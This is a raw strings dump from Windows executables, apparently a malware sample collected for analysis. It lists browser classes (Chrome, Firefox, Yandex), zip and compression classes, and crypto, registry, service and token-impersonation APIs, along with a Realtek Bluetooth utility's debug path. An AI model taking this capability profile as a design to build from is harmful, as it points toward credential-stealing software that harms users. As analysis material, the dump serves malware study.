WaitForSingleObject
LocalAlloc
OpenSemaphoreA
CreateThread
GetComputerNameA
GetModuleFileNameA
FreeLibrary
GetCommandLineW
GetCurrentProcess
GetProcessId
lstrlenA
lstrcatA
GetCommandLineA
GetTempPathA
QueryFullProcessImageNameA
CreateFileA
GetVersionExA
WTSGetActiveConsoleSessionId
ExitProcess
VerSetConditionMask
VerifyVersionInfoW
lstrcmpiW
KERNEL32.dll
SetTimer
GetMessageA
TranslateMessage
DispatchMessageA
USER32.dll
RegDeleteValueA
RegOpenKeyExA
RegSetValueExA
RegCreateKeyExA
RegGetValueA
CryptReleaseContext
CryptGetHashParam
CryptDestroyHash
CryptHashData
CryptCreateHash
CryptAcquireContextA
InitializeSecurityDescriptor
LookupAccountNameA
ConvertSidToStringSidA
SetSecurityDescriptorDacl
OpenServiceA
OpenSCManagerA
RegisterServiceCtrlHandlerA
SetServiceStatus
CloseServiceHandle
GetTokenInformation
DuplicateTokenEx
OpenProcessToken
GetUserNameA
LookupPrivilegeValueA
SetTokenInformation
StartServiceCtrlDispatcherA
RegCloseKey
CreateProcessAsUserA
AdjustTokenPrivileges
ADVAPI32.dll
CommandLineToArgvW
ShellExecuteExA
SHELL32.dll
CoUninitialize
CoCreateInstance
CoInitializeEx
ole32.dll
WTSQueryUserToken
WTSAPI32.dll
CreateEnvironmentBlock
USERENV.dll
QueryPerformanceCounter
EnterCriticalSection
LeaveCriticalSection
DeleteCriticalSection
SetLastError
InitializeCriticalSectionAndSpinCount
CreateEventW
SwitchToThread
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
GetSystemTimeAsFileTime
GetTickCount
GetModuleHandleW
EncodePointer
DecodePointer
CompareStringW
LCMapStringW
GetLocaleInfoW
GetStringTypeW
GetCPInfo
LCMapStringA
GetUserDefaultLCID
GetStringTypeExA
UnhandledExceptionFilter
SetUnhandledExceptionFilter
IsProcessorFeaturePresent
ResetEvent
WaitForSingleObjectEx
IsDebuggerPresent
GetStartupInfoW
GetCurrentThreadId
InitializeSListHead
ReleaseSemaphore
InitializeCriticalSection
CreateSemaphoreW
RtlUnwind
RaiseException
InterlockedPushEntrySList
InterlockedFlushSList
LoadLibraryExW
CreateFileW
GetDriveTypeW
GetFileInformationByHandle
GetFileType
PeekNamedPipe
SystemTimeToTzSpecificLocalTime
FileTimeToSystemTime
GetModuleHandleExW
GetModuleFileNameW
GetStdHandle
WriteFile
ExitThread
FreeLibraryAndExitThread
GetCurrentThread
HeapAlloc
FlushFileBuffers
GetConsoleCP
GetConsoleMode
HeapFree
GetCurrentDirectoryW
GetFullPathNameW
GetDateFormatW
GetTimeFormatW
IsValidLocale
EnumSystemLocalesW
SetStdHandle
ReadFile
ReadConsoleW
SetFilePointerEx
DeleteFileW
HeapReAlloc
GetTimeZoneInformation
FindFirstFileExW
FindNextFileW
IsValidCodePage
GetACP
GetOEMCP
GetEnvironmentStringsW
FreeEnvironmentStringsW
SetEnvironmentVariableW
GetProcessHeap
MoveFileExW
HeapSize
WriteConsoleW
SetEndOfFile
LoadStringA
TryEnterCriticalSection
DuplicateHandle
GetExitCodeThread
CreateTimerQueue
SignalObjectAndWait
SetThreadPriority
GetThreadPriority
GetLogicalProcessorInformation
CreateTimerQueueTimer
ChangeTimerQueueTimer
DeleteTimerQueueTimer
GetNumaHighestNodeNumber
GetProcessAffinityMask
SetThreadAffinityMask
RegisterWaitForSingleObject
UnregisterWait
GetThreadTimes
GetVersionExW
VirtualAlloc
VirtualProtect
VirtualFree
InterlockedPopEntrySList
QueryDepthSList
UnregisterWaitEx
LoadLibraryW
Copyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
.?AVbad_alloc@std@@
.?AVinvalid_argument@std@@
.?AVlength_error@std@@
.?AVout_of_range@std@@
.?AVbad_function_call@std@@
.?AV_Locimp@locale@std@@
.?AV?$num_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AV?$codecvt@GDU_Mbstatet@@@std@@
.?AV?$ctype@_W@std@@
.?AV?$ctype@G@std@@
.?AUmessages_base@std@@
.?AUmoney_base@std@@
.?AUtime_base@std@@
.?AV?$num_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
.?AV?$num_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
.?AV?$numpunct@_W@std@@
.?AV?$collate@_W@std@@
.?AV?$messages@_W@std@@
.?AV?$money_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
.?AV?$money_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
.?AV?$moneypunct@_W$0A@@std@@
.?AV?$_Mpunct@_W@std@@
.?AV?$moneypunct@_W$00@std@@
.?AV?$time_get@_WV?$istreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
.?AV?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@
.?AV?$num_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
.?AV?$num_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
.?AV?$numpunct@G@std@@
.?AV?$collate@G@std@@
.?AV?$messages@G@std@@
.?AV?$money_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
.?AV?$money_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
.?AV?$moneypunct@G$0A@@std@@
.?AV?$_Mpunct@G@std@@
.?AV?$moneypunct@G$00@std@@
.?AV?$time_get@GV?$istreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
.?AV?$time_put@GV?$ostreambuf_iterator@GU?$char_traits@G@std@@@std@@@std@@
.?AV?$collate@D@std@@
.?AV?$messages@D@std@@
.?AV?$money_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AV?$money_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AV?$moneypunct@D$0A@@std@@
.?AV?$_Mpunct@D@std@@
.?AV?$moneypunct@D$00@std@@
.?AV?$time_get@DV?$istreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AV?$time_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AV?$clone_impl@U?$error_info_injector@Vinvalid_argument@std@@@exception_detail@boost@@@exception_detail@boost@@
.?AU?$error_info_injector@Vinvalid_argument@std@@@exception_detail@boost@@
.?AV?$clone_impl@U?$error_info_injector@Vruntime_error@std@@@exception_detail@boost@@@exception_detail@boost@@
.?AU?$error_info_injector@Vruntime_error@std@@@exception_detail@boost@@
.?AV?$sp_counted_impl_p@V?$basic_regex_implementation@DU?$regex_traits@DV?$w32_regex_traits@D@boost@@@boost@@@re_detail_106800@boost@@@detail@boost@@
.?AV?$sp_counted_impl_p@U?$regex_traits_wrapper@U?$regex_traits@DV?$w32_regex_traits@D@boost@@@boost@@@boost@@@detail@boost@@
.?AV?$sp_counted_impl_p@V?$w32_regex_traits_implementation@D@re_detail_106800@boost@@@detail@boost@@
.?AV?$clone_impl@U?$error_info_injector@Vregex_error@boost@@@exception_detail@boost@@@exception_detail@boost@@
.?AU?$error_info_injector@Vregex_error@boost@@@exception_detail@boost@@
.?AVregex_error@boost@@
.P6AXPAX@Z
.?AV?$sp_counted_impl_pd@PAUHINSTANCE__@@P6AXPAX@Z@detail@boost@@
.?AVtype_info@@
.?AVbad_array_new_length@std@@
.?AVbad_exception@std@@
.?AVstl_condition_variable_interface@details@Concurrency@@
.?AVstl_condition_variable_vista@details@Concurrency@@
.?AVstl_condition_variable_win7@details@Concurrency@@
.?AVstl_condition_variable_concrt@details@Concurrency@@
.?AVstl_critical_section_interface@details@Concurrency@@
.?AVstl_critical_section_vista@details@Concurrency@@
.?AVstl_critical_section_win7@details@Concurrency@@
.?AVstl_critical_section_concrt@details@Concurrency@@
.?AVWaitBlock@details@Concurrency@@
.?AVSingleWaitBlock@details@Concurrency@@
.?AVMultiWaitBlock@details@Concurrency@@
.?AVWaitAllBlock@details@Concurrency@@
.?AVWaitAnyBlock@details@Concurrency@@
.?AVTimedSingleWaitBlock@details@Concurrency@@
.?AV?$_MallocaArrayHolder@PAVContext@Concurrency@@@details@Concurrency@@
.?AVimproper_lock@Concurrency@@
.?AVscheduler_resource_allocation_error@Concurrency@@
.?AVunsupported_os@Concurrency@@
.?AVinvalid_operation@Concurrency@@
.?AVResourceManager@details@Concurrency@@
.?AUIResourceManager@Concurrency@@
.?AUITopologyExecutionResource@Concurrency@@
.?AUITopologyNode@Concurrency@@
.?AUTopologyObject@GlobalCore@details@Concurrency@@
.?AUTopologyObject@GlobalNode@details@Concurrency@@
.?AVscheduler_worker_creation_error@Concurrency@@
.?AVimproper_scheduler_reference@Concurrency@@
.?AVimproper_scheduler_attach@Concurrency@@
.?AVScheduleGroupBase@details@Concurrency@@
.?AVScheduleGroup@Concurrency@@
.?AVCacheLocalScheduleGroup@details@Concurrency@@
.?AVFairScheduleGroup@details@Concurrency@@
.?AVSchedulerBase@details@Concurrency@@
.?AVScheduler@Concurrency@@
.?AU_Chore@details@Concurrency@@
.?AVRealizedChore@details@Concurrency@@
.?AVCacheLocalScheduleGroupSegment@details@Concurrency@@
.?AVScheduleGroupSegmentBase@details@Concurrency@@
.?AVFairScheduleGroupSegment@details@Concurrency@@
.?AVcontext_unblock_unbalanced@Concurrency@@
.?AVcontext_self_unblock@Concurrency@@
.?AVmissing_wait@Concurrency@@
.?AVinvalid_scheduler_policy_key@Concurrency@@
.?AVinvalid_scheduler_policy_value@Concurrency@@
.?AVinvalid_scheduler_policy_thread_specification@Concurrency@@
.?AVnested_scheduler_missing_detach@Concurrency@@
.?AVinvalid_oversubscribe_operation@Concurrency@@
.?AVContextBase@details@Concurrency@@
.?AVContext@Concurrency@@
.?AV_Interruption_exception@details@Concurrency@@
.?AV_RefCounter@details@Concurrency@@
.?AV_CancellationTokenRegistration@details@Concurrency@@
.?AVCancellationTokenRegistration_TaskProc@details@Concurrency@@
.?AV?$_MallocaArrayHolder@PAVevent@Concurrency@@@details@Concurrency@@
.?AVExecutionResource@details@Concurrency@@
.?AUIExecutionResource@Concurrency@@
.?AVSchedulerProxy@details@Concurrency@@
.?AUISchedulerProxy@Concurrency@@
.?AVFreeThreadProxy@details@Concurrency@@
.?AVThreadProxy@details@Concurrency@@
.?AUIThreadProxy@Concurrency@@
.?AUIThreadProxyFactory@details@Concurrency@@
.?AVFreeThreadProxyFactory@details@Concurrency@@
.?AV?$ThreadProxyFactory@VFreeThreadProxy@details@Concurrency@@@details@Concurrency@@
.?AVVirtualProcessor@details@Concurrency@@
.?AVInternalContextBase@details@Concurrency@@
.?AUIExecutionContext@Concurrency@@
.?AVExternalContextBase@details@Concurrency@@
.?AVThreadScheduler@details@Concurrency@@
.?AUIScheduler@Concurrency@@
.?AVThreadInternalContext@details@Concurrency@@
.?AVVirtualProcessorRoot@details@Concurrency@@
.?AUIVirtualProcessorRoot@Concurrency@@
.?AVFreeVirtualProcessorRoot@details@Concurrency@@
.?AVThreadVirtualProcessor@details@Concurrency@@
.?AV?$_Ref_count_obj_alloc@V__ExceptionPtr@@U?$_StaticAllocator@H@@@std@@
.?AV?$_Ref_count_obj@V__ExceptionPtr@@@std@@
.?AV__non_rtti_object@std@@
.?AVbad_typeid@std@@
.?AV?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.?AVfailure@ios_base@std@@
.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@
.?AVruntime_error@std@@
.?AV?$codecvt@DDU_Mbstatet@@@std@@
.?AV?$basic_ifstream@DU?$char_traits@D@std@@@std@@
.?AVother_error@detail@nlohmann@@
.?AV?$_Ref_count_obj@Vinput_buffer_adapter@detail@nlohmann@@@std@@
.?AV?$basic_stringbuf@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.?AVios_base@std@@
.?AVerror_category@std@@
.?AV?$ctype@D@std@@
.?AVexception@detail@nlohmann@@
.?AVsystem_error@std@@
.?AVBrowser@@
.?AV?$basic_iostream@DU?$char_traits@D@std@@@std@@
.?AU?$json_sax@V?$basic_json@Vmap@std@@Vvector@2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_N_J_KNVallocator@2@Uadl_serializer@nlohmann@@@nlohmann@@@nlohmann@@
.?AVcodecvt_base@std@@
.?AV_Facet_base@std@@
.?AVinvalid_iterator@detail@nlohmann@@
.?AV_Generic_error_category@std@@
.?AU_Crt_new_delete@std@@
.?AV?$_Iosb@H@std@@
.?AV?$basic_ofstream@DU?$char_traits@D@std@@@std@@
.?AV?$numpunct@D@std@@
.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@
.?AV?$_Ref_count_obj@V?$output_string_adapter@DV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@detail@nlohmann@@@std@@
.?AV_Iostream_error_category@std@@
.?AVbad_cast@std@@
.?AUctype_base@std@@
.?AV?$output_string_adapter@DV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@detail@nlohmann@@
.?AVtype_error@detail@nlohmann@@
.?AVinput_buffer_adapter@detail@nlohmann@@
.?AV?$basic_istream@DU?$char_traits@D@std@@@std@@
.?AV?$json_sax_dom_callback_parser@V?$basic_json@Vmap@std@@Vvector@2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_N_J_KNVallocator@2@Uadl_serializer@nlohmann@@@nlohmann@@@detail@nlohmann@@
.?AUinput_adapter_protocol@detail@nlohmann@@
.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@
.?AVout_of_range@detail@nlohmann@@
.?AVfacet@locale@std@@
.?AVparse_error@detail@nlohmann@@
.?AV_Ref_count_base@std@@
.?AV?$json_sax_dom_parser@V?$basic_json@Vmap@std@@Vvector@2@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@2@_N_J_KNVallocator@2@Uadl_serializer@nlohmann@@@nlohmann@@@detail@nlohmann@@
.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@
.?AU?$output_adapter_protocol@D@detail@nlohmann@@
.?AV_System_error@std@@
.?AVexception@std@@
.?AV?$num_put@DV?$ostreambuf_iterator@DU?$char_traits@D@std@@@std@@@std@@
.?AVsp_counted_base@detail@boost@@
.?AV?$basic_fstream@DU?$char_traits@D@std@@@std@@
.?AVexception@boost@@
.?AVclone_base@exception_detail@boost@@
.?AVlogic_error@std@@
.?AU?$error_info_injector@Vlogic_error@std@@@exception_detail@boost@@
.?AV?$sp_counted_impl_p@V?$regex_iterator_implementation@V?$_String_const_iterator@V?$_String_val@U?$_Simple_types@D@std@@@std@@@std@@DU?$regex_traits@DV?$w32_regex_traits@D@boost@@@boost@@@boost@@@detail@boost@@
.?AV?$clone_impl@U?$error_info_injector@Vlogic_error@std@@@exception_detail@boost@@@exception_detail@boost@@
.?AVChrome@@
.?AVFirefox@@
.?AVrange_error@std@@
.?AV?$basic_ostringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.?AV?$codecvt_utf8_utf16@_W$0BAPPPP@$0A@@std@@
.?AV?$wstring_convert@V?$codecvt_utf8_utf16@_W$0BAPPPP@$0A@@std@@_WV?$allocator@_W@2@V?$allocator@D@2@@std@@
.?AV?$codecvt@_WDU_Mbstatet@@@std@@
.?AVYandex@@
.?AV?$compression_encoder_interface_basic@DU?$char_traits@D@std@@@@
.?AUcompression_properties_interface@@
.?AVDeflateMethod@@
.?AV?$compression_decoder_interface_basic@DU?$char_traits@D@std@@@@
.?AV?$_Ref_count_obj@VDeflateMethod@@@std@@
.?AV?$basic_deflate_decoder@DU?$char_traits@D@std@@@@
.?AUcompression_encoder_properties_interface@@
.?AUcompression_decoder_properties_interface@@
.?AV?$_Ref_count_obj@V?$basic_deflate_decoder@DU?$char_traits@D@std@@@@@std@@
.?AV?$basic_deflate_encoder@DU?$char_traits@D@std@@@@
.?AV?$basic_istringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@
.?AVICompressionMethod@@
.?AUdeflate_encoder_properties@@
.?AUdeflate_decoder_properties@@
.?AV?$_Ref_count_obj@V?$basic_deflate_encoder@DU?$char_traits@D@std@@@@@std@@
.?AV?$compression_interface_basic@DU?$char_traits@D@std@@@@
.?AV?$_Ref_count@VZipArchive@@@std@@
.?AV?$basic_crc32stream@DU?$char_traits@D@std@@@@
.?AUstore_encoder_properties@@
.?AV?$_Ref_count_obj@V?$basic_store_decoder@DU?$char_traits@D@std@@@@@std@@
.?AV?$basic_isubstream@DU?$char_traits@D@std@@@@
.?AV?$_LaunchPad@V?$unique_ptr@V?$tuple@P8?$basic_lzma_encoder@DU?$char_traits@D@std@@@@AE_NXZPAV1@@std@@U?$default_delete@V?$tuple@P8?$basic_lzma_encoder@DU?$char_traits@D@std@@@@AE_NXZPAV1@@std@@@2@@std@@@std@@
.?AV?$sub_streambuf@DU?$char_traits@D@std@@@@
.?AV?$_Ref_count_obj@V?$basic_bzip2_encoder@DU?$char_traits@D@std@@@@@std@@
.?AVStoreMethod@@
.?AV?$basic_zip_cryptostream@DU?$char_traits@D@std@@@@
.?AVBzip2Method@@
.?AV?$basic_store_decoder@DU?$char_traits@D@std@@@@
.?AV?$basic_nullstream@DU?$char_traits@D@std@@@@
.?AV?$_Ref_count_obj@VStoreMethod@@@std@@
.?AV?$_Ref_count_obj@V?$basic_compression_decoder_stream@DU?$char_traits@D@std@@@@@std@@
.?AV?$_Ref_count_obj@V?$basic_stringstream@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@std@@
.?AV?$_Ref_count_obj@VLzmaMethod@@@std@@
.?AV?$_Ref_count_obj@V?$basic_bzip2_decoder@DU?$char_traits@D@std@@@@@std@@
.?AV?$basic_store_encoder@DU?$char_traits@D@std@@@@
.?AV?$basic_bzip2_decoder@DU?$char_traits@D@std@@@@
.?AV?$basic_lzma_encoder@DU?$char_traits@D@std@@@@
.?AV?$basic_lzma_decoder@DU?$char_traits@D@std@@@@
.?AV?$basic_compression_decoder_stream@DU?$char_traits@D@std@@@@
.?AV?$crc32_streambuf@DU?$char_traits@D@std@@@@
.?AV?$_Ref_count_obj@V?$basic_zip_cryptostream@DU?$char_traits@D@std@@@@@std@@
.?AV?$basic_compression_encoder_stream@DU?$char_traits@D@std@@@@
.?AUbzip2_decoder_properties@@
.?AV?$null_streambuf@DU?$char_traits@D@std@@@@
.?AUlzma_decoder_properties@@
.?AV?$_Ref_count_obj@V?$basic_isubstream@DU?$char_traits@D@std@@@@@std@@
.?AUlzma_encoder_properties@@
.?AV?$_Ref_count@VZipArchiveEntry@@@std@@
.?AV?$_Ref_count_obj@V?$basic_lzma_decoder@DU?$char_traits@D@std@@@@@std@@
.?AV?$_Ref_count_obj@VBzip2Method@@@std@@
.?AV?$_Ref_count_obj@V?$basic_lzma_encoder@DU?$char_traits@D@std@@@@@std@@
.?AV?$zip_crypto_streambuf@DU?$char_traits@D@std@@@@
.?AV_Pad@std@@
.?AVLzmaMethod@@
.?AUbzip2_encoder_properties@@
.?AV?$_Ref_count_obj@V?$basic_store_encoder@DU?$char_traits@D@std@@@@@std@@
.?AV?$compression_decoder_streambuf@DU?$char_traits@D@std@@@@
.?AV?$compression_encoder_streambuf@DU?$char_traits@D@std@@@@
.?AV?$basic_bzip2_encoder@DU?$char_traits@D@std@@@@
.?AUstore_decoder_properties@@
!This program cannot be run in DOS mode.
oRichp
`.rdata
@.data
D$@SUVW
L$8QSU
L$8QRU
l$XVW3
D$ PVW
L$(h0fB
T$$RPW
u,j"j@
u,j"j@
D$pSUVW
L$LQWV
T$Ph0fB
T$LRWV
L$ Qj@
|+hPgB
L$$QRh
?PhTgB
D$<PVShP2@
8\$$u/
SUVWhlhB
HSh\iB
L$0_^3
^ Sh,hB
PQSUVW
D$DVW3
VVh,lB
l$TVWj
QQSUVW
0UUUUW
WtrHHt
tA9wht<
9p t-S
g9n t_;
udh\7B
tuh(:B
S\_^[]
S\_^[]
t39w u&
_ 9w$u
9~Pu	P
t	9p(u
O 9Htu
u0j0^VP
8Sh8CB
SVWj(3
PWVWWW
+F(_;E
F(@@;F,v
F(;^ r
F(;F0u
^(_^[]
PjmhdJB
jmhdJB
_VVVVV
@@f90u
0WWWWW
0WWWWW
f92u	AAf91u
 CCGGf
 GGBBf;
QQSVWd
0WWWWW
BBFFf;
0WWWWW
@@BBf;
@@BBf;
t!hxSB
YYuTVWh ;A
8VVVVV
AAGGf;
u&hPRB
>=Yt/j
4~f9.u
QQSVWh
@@f98u
@@f98u
j8j ^V
teh[>A
0A@@Ju
t^9(uZ
tD9(u@
t0WWWWW
t	@AA;D$
YYu-9D$
s[S;7|G;w
tR99u2
URPQQh
_VVVVV
^WWWWW
u,hhTB
0SSSSS
0SSSSS
0SSSSS
GWhlSB
FVhlSB
PPPPPPPP
PPPPPPPP
t+WWVPV
v	N+D$
;t$,v-
UQPXY]Y[
^SSSSS
j"^SSSSS
^SSSSS
0SSSSS
v	N+D$
_VVVVV
PShlSB
tb9} u
<+t(<-t$:
+t HHt
u&f!;f;
9~$~!S
COleException
CInvalidArgException
CNotSupportedException
CMemoryException
CException
CWinThread
DeactivateActCtx
ActivateActCtx
ReleaseActCtx
CreateActCtxW
CCmdTarget
GetMonitorInfoA
GetMonitorInfoW
EnumDisplayDevicesW
EnumDisplayMonitors
MonitorFromPoint
MonitorFromRect
MonitorFromWindow
GetSystemMetrics
DISPLAY
InitCommonControls
InitCommonControlsEx
HtmlHelpW
hhctrl.ocx
Exception thrown in destructor
f:\sp\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl
CWinApp
GetSystemDefaultUILanguage
GetUserDefaultUILanguage
f:\sp\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp
CArchiveException
CObject
f:\sp\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp
CMapPtrToPtr
f:\sp\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl
CGdiObject
CUserException
CResourceException
CByteArray
NotifyWinEvent
bad allocation
CorExitProcess
mscoree.dll
runtime error 
TLOSS error
SING error
DOMAIN error
An application has made an attempt to load the C runtime library incorrectly.
Please contact the application's support team for more information.
- Attempt to use MSIL code from this assembly during native code initialization
This indicates a bug in your application. It is most likely the result of calling an MSIL-compiled (/clr) function from a native constructor or from DllMain.
- not enough space for locale information
- Attempt to initialize the CRT more than once.
This indicates a bug in your application.
- CRT not initialized
- unable to initialize heap
- not enough space for lowio initialization
- not enough space for stdio initialization
- pure virtual function call
- not enough space for _onexit/atexit table
- unable to open console device
- unexpected heap error
- unexpected multithread lock error
- not enough space for thread data
This application has requested the Runtime to terminate it in an unusual way.
Please contact the application's support team for more information.
- not enough space for environment
- not enough space for arguments
- floating point support not loaded
Microsoft Visual C++ Runtime Library
<program name unknown>
Runtime Error!
Program: 
.mixcrt
EncodePointer
KERNEL32.DLL
DecodePointer
FlsFree
FlsSetValue
FlsGetValue
FlsAlloc
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
bad exception
InitializeCriticalSectionAndSpinCount
kernel32.dll
GAIsProcessorFeaturePresent
KERNEL32
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
GetProcessWindowStation
GetUserObjectInformationA
GetLastActivePopup
GetActiveWindow
MessageBoxA
USER32.DLL
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
HH:mm:ss
dddd, MMMM dd, yyyy
MM/dd/yy
December
November
October
September
August
February
January
Saturday
Friday
Thursday
Wednesday
Tuesday
Monday
Sunday
(null)
`h````
xpxxxx
`h`hhh
xppwpp
 Complete Object Locator'
 Class Hierarchy Descriptor'
 Base Class Array'
 Base Class Descriptor at (
 Type Descriptor'
`local static thread guard'
`managed vector copy constructor iterator'
`vector vbase copy constructor iterator'
`vector copy constructor iterator'
`dynamic atexit destructor for '
`dynamic initializer for '
`eh vector vbase copy constructor iterator'
`eh vector copy constructor iterator'
`managed vector destructor iterator'
`managed vector constructor iterator'
`placement delete[] closure'
`placement delete closure'
`omni callsig'
 delete[]
 new[]
`local vftable constructor closure'
`local vftable'
`udt returning'
`copy constructor closure'
`eh vector vbase constructor iterator'
`eh vector destructor iterator'
`eh vector constructor iterator'
`virtual displacement map'
`vector vbase constructor iterator'
`vector destructor iterator'
`vector constructor iterator'
`scalar deleting destructor'
`default constructor closure'
`vector deleting destructor'
`vbase destructor'
`string'
`local static guard'
`typeof'
`vcall'
`vbtable'
`vftable'
operator
 delete
__unaligned
__restrict
__ptr64
__clrcall
__fastcall
__thiscall
__stdcall
__pascal
__cdecl
__based(
Unknown exception
1#QNAN
1#SNAN
CONOUT$
OLEACC.dll
DllGetClassObject
CMainWnd
f:\Project\RtkBtMnt_1009\RtkBtMnt_1009\RtkBtMnt\win32\release\RtkBtMnt.pdb
CreateStdAccessibleObject
LresultFromObject
SetupDiDestroyDeviceInfoList
SetupDiGetClassDevsW
SetupDiEnumDeviceInfo
SetupDiGetDeviceInstanceIdW
SetupDiGetDeviceRegistryPropertyW
SetupDiEnumDeviceInterfaces
SetupDiGetDeviceInterfaceDetailW
SETUPAPI.dll
DSOUND.dll
SizeofResource
LockResource
LoadResource
FindResourceW
LocalAlloc
LocalFree
MultiByteToWideChar
GetLastError
CreateFileW
DeviceIoControl
CloseHandle
WaitForMultipleObjects
CreateEventW
CreateThread
SetEvent
WaitForSingleObject
FreeLibrary
OutputDebugStringW
SetPriorityClass
GetCurrentProcess
GetExitCodeThread
LoadLibraryW
GetProcAddress
lstrlenW
CreateMutexW
WideCharToMultiByte
FormatMessageW
GlobalUnlock
GlobalLock
GlobalAlloc
GlobalFree
SetLastError
GetCurrentThreadId
GetModuleHandleW
GetModuleFileNameW
InterlockedDecrement
GetVersionExA
lstrcmpW
LoadLibraryA
GlobalDeleteAtom
GlobalFindAtomW
GlobalAddAtomW
InterlockedExchange
GetLocaleInfoW
EnumResourceLanguagesW
GetVersion
ConvertDefaultLocale
GetCurrentThread
GetCurrentProcessId
WritePrivateProfileStringW
GetThreadLocale
InterlockedIncrement
LeaveCriticalSection
TlsGetValue
EnterCriticalSection
GlobalReAlloc
GlobalHandle
InitializeCriticalSection
TlsAlloc
TlsSetValue
LocalReAlloc
DeleteCriticalSection
TlsFree
GlobalFlags
GetModuleHandleA
ReadFile
WriteFile
SetFilePointer
FlushFileBuffers
SetErrorMode
HeapFree
HeapAlloc
GetProcessHeap
GetStartupInfoW
HeapReAlloc
RtlUnwind
RaiseException
ExitProcess
HeapSize
SetUnhandledExceptionFilter
GetStdHandle
GetModuleFileNameA
FreeEnvironmentStringsA
GetEnvironmentStrings
FreeEnvironmentStringsW
GetEnvironmentStringsW
GetCommandLineA
GetCommandLineW
SetHandleCount
GetFileType
GetStartupInfoA
HeapDestroy
HeapCreate
VirtualFree
QueryPerformanceCounter
GetTickCount
GetSystemTimeAsFileTime
GetCPInfo
GetACP
GetOEMCP
IsValidCodePage
LCMapStringA
LCMapStringW
TerminateProcess
UnhandledExceptionFilter
IsDebuggerPresent
VirtualAlloc
GetStringTypeA
GetStringTypeW
GetLocaleInfoA
GetConsoleCP
GetConsoleMode
SetStdHandle
WriteConsoleA
GetConsoleOutputCP
WriteConsoleW
CreateFileA
KERNEL32.dll
PostMessageW
EnableWindow
PostQuitMessage
SendMessageW
LoadIconW
FindWindowExW
GetWindowTextW
GetSubMenu
GetMenuItemCount
GetMenuItemID
GetMenuState
ValidateRect
GetCursorPos
PeekMessageW
GetKeyState
IsWindowVisible
GetActiveWindow
DispatchMessageW
TranslateMessage
GetMessageW
CallNextHookEx
SetWindowsHookExW
UnhookWindowsHookEx
CheckMenuItem
EnableMenuItem
ModifyMenuW
GetParent
GetFocus
LoadBitmapW
GetMenuCheckMarkDimensions
SetMenuItemBitmaps
GetWindow
GetSystemMetrics
GetWindowRect
GetWindowPlacement
IsIconic
SystemParametersInfoA
SetWindowPos
SetWindowLongW
GetWindowLongW
CallWindowProcW
DefWindowProcW
GetDlgCtrlID
PtInRect
CopyRect
AdjustWindowRectEx
GetSysColor
RegisterClassW
GetClassInfoW
GetClassInfoExW
CreateWindowExW
MessageBoxW
GetMenu
GetClientRect
SetForegroundWindow
MapWindowPoints
GetMessagePos
GetMessageTime
DestroyWindow
GetTopWindow
GetDlgItem
GetLastActivePopup
GetForegroundWindow
IsWindow
RemovePropW
GetPropW
SetPropW
GetClassNameW
GetClassLongW
GetCapture
WinHelpW
RegisterWindowMessageW
SetWindowTextW
ShowWindow
IsWindowEnabled
SetCursor
GetWindowThreadProcessId
GetSysColorBrush
ReleaseDC
LoadCursorW
UnregisterClassW
ClientToScreen
DestroyMenu
TabbedTextOutW
DrawTextW
DrawTextExW
GrayStringW
USER32.dll
GetDeviceCaps
CreateBitmap
GetClipBox
SetTextColor
SetBkColor
DeleteObject
ExtTextOutW
SaveDC
RestoreDC
SetMapMode
PtVisible
RectVisible
TextOutW
Escape
SelectObject
SetViewportOrgEx
OffsetViewportOrgEx
SetViewportExtEx
ScaleViewportExtEx
SetWindowExtEx
ScaleWindowExtEx
